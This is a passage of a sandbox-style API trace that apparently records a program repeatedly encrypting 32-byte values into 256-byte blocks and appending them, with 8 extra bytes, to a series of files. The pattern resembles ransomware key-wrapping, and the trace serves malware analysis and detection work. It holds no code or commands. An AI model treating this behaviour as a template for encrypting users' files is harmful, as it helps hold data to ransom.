CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0229.367] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0229.367] WriteFile (in: hFile=0x2af0, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0229.367] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef24a8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef24a8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0229.367] CloseHandle (hObject=0x2af0) returned 1 [0229.431] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0229.431] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0229.432] WriteFile (in: hFile=0x2af0, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0229.433] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0229.433] CloseHandle (hObject=0x2af0) returned 1 [0229.448] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0229.448] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0229.448] WriteFile (in: hFile=0x2af0, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0229.448] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0229.449] CloseHandle (hObject=0x2af0) returned 1 [0229.461] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0229.461] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e6f8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e6f8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0229.461] WriteFile (in: hFile=0x2af0, lpBuffer=0x386e6f8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e6f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0229.461] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0229.462] CloseHandle (hObject=0x2af0) returned 1 [0229.474] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0229.474] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0229.474] WriteFile (in: hFile=0x2af0, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0229.474] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0229.474] CloseHandle (hObject=0x2af0) returned 1 [0229.480] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0229.480] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0229.480] WriteFile (in: hFile=0x2af0, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0229.480] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0229.480] CloseHandle (hObject=0x2af0) returned 1 [0229.540] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0229.541] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0229.541] WriteFile (in: hFile=0x2af0, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0229.541] WriteFile (in: hFile=0x2af0, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0229.541] CloseHandle (hObject=0x2af0) returned 1 [0229.794] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0229.794] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0229.795] WriteFile (in: hFile=0x2b28, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0229.795] WriteFile (in: hFile=0x2b28, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0229.795] CloseHandle (hObject=0x2b28) returned 1 [0229.811] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0229.811] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0229.811] WriteFile (in: hFile=0x2b28, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0229.811] WriteFile (in: hFile=0x2b28, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0229.812] CloseHandle (hObject=0x2b28) returned 1 [0229.908] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0229.908] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0229.908] WriteFile (in: hFile=0x2b28, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0229.908] WriteFile (in: hFile=0x2b28, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0229.909] CloseHandle (hObject=0x2b28) returned 1 [0229.918] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0229.918] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0229.918] WriteFile (in: hFile=0x2b28, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0229.919] WriteFile (in: hFile=0x2b28, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0229.919] CloseHandle (hObject=0x2b28) returned 1 [0229.933] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0229.933] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0229.933] WriteFile (in: hFile=0x2b28, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0229.934] WriteFile (in: hFile=0x2b28, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0229.934] CloseHandle (hObject=0x2b28) returned 1 [0229.948] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0229.948] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0229.948] WriteFile (in: hFile=0x2b28, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0229.948] WriteFile (in: hFile=0x2b28, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0229.949] CloseHandle (hObject=0x2b28) returned 1 [0229.963] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0229.963] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0229.963] WriteFile (in: hFile=0x2b28, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0229.963] WriteFile (in: hFile=0x2b28, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0229.964] CloseHandle (hObject=0x2b28) returned 1 [0230.026] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0230.027] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0230.027] WriteFile (in: hFile=0x2b28, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0230.027] WriteFile (in: hFile=0x2b28, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0230.028] CloseHandle (hObject=0x2b28) returned 1 [0230.079] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0230.080] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e6f8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e6f8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0230.080] WriteFile (in: hFile=0x2b28, lpBuffer=0x386e6f8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e6f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0230.080] WriteFile (in: hFile=0x2b28, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0230.081] CloseHandle (hObject=0x2b28) returned 1 [0230.207] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0230.207] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0230.207] WriteFile (in: hFile=0x2b28, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0230.207] WriteFile (in: hFile=0x2b28, lpBuffer=0x2ef25f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef25f8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0230.208] CloseHandle (hObject=0x2b28) returned 1 [0230.216] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0230.216] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0230.216] WriteFile (in: hFile=0x2b28, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0230.217] WriteFile (in: hFile=0x2b28, lpBuffer=0x2ef2598*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2598*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0230.217] CloseHandle (hObject=0x2b28) returned 1 [0230.228] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0230.228] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0230.228] WriteFile (in: hFile=0x2b28, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0230.228] WriteFile (in: hFile=0x2b28, lpBuffer=0x2ef2688*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2688*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0230.229] CloseHandle (hObject=0x2b28) returned 1 [0230.239] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0230.239] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0230.239] WriteFile (in: hFile=0x2b28, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0230.239] WriteFile (in: hFile=0x2b28, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0230.240] CloseHandle (hObject=0x2b28) returned 1 [0230.249] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0230.249] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0230.249] WriteFile (in: hFile=0x2b28, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0230.249] WriteFile (in: hFile=0x2b28, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0230.250] CloseHandle (hObject=0x2b28) returned 1 [0230.259] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0230.259] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0230.260] WriteFile (in: hFile=0x2b28, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0230.260] WriteFile (in: hFile=0x2b28, lpBuffer=0x2ef2518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0230.260] CloseHandle (hObject=0x2b28) returned 1 [0230.273] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0230.273] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386e5f0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0230.273] WriteFile (in: hFile=0x2b28, lpBuffer=0x386e5f0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386e5f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0230.273] WriteFile (in: hFile=0x2b28, lpBuffer=0x2ef2688*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2688*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0230.274] CloseHandle (hObject=0x2b28) returned 1 [0230.283] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0230.283] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x386f358*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0230.283] WriteFile (in: hFile=0x2b28, lpBuffer=0x386f358*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x386f358*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0230.283] WriteFile (in: hFile=0x2b28, lpBuffer=0x2ef2668*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ef2668*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0230.284] CloseHandle (hObject=0x2b28) returned 1 [0230.379] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0230.379] 